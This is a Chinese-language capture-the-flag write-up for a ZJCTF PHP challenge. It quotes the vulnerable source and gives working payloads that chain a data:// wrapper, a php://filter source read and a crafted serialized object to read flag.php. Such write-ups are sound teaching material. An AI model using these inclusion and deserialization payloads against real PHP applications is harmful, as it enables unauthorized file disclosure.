1.打开题目看得到
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
从源码上分析,首先要对$text写入"welcome to the zjctf"
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里学习到使用data伪协议来写入
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
再接着看后面:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
这里通过对$file进行正则匹配,过滤掉了flag字段,并且提示有一个useless.php
可以用php://filter协议来读取这个useless.php
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
这时需要将得到的这段进行base64解码
解码结果:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
题目源码后还有:$password = unserialize($password);
这里可以在本地进行序列化得到结果
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
//得到结果为:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这时就可以构造出最终的payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终flag在源代码里
总结:
1.学习使用data伪协议写入文件
data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2.学习使用php://filter读取源码
php://filter/read=convert.base64-encode/resource=useless.php
3.序列化与反序列化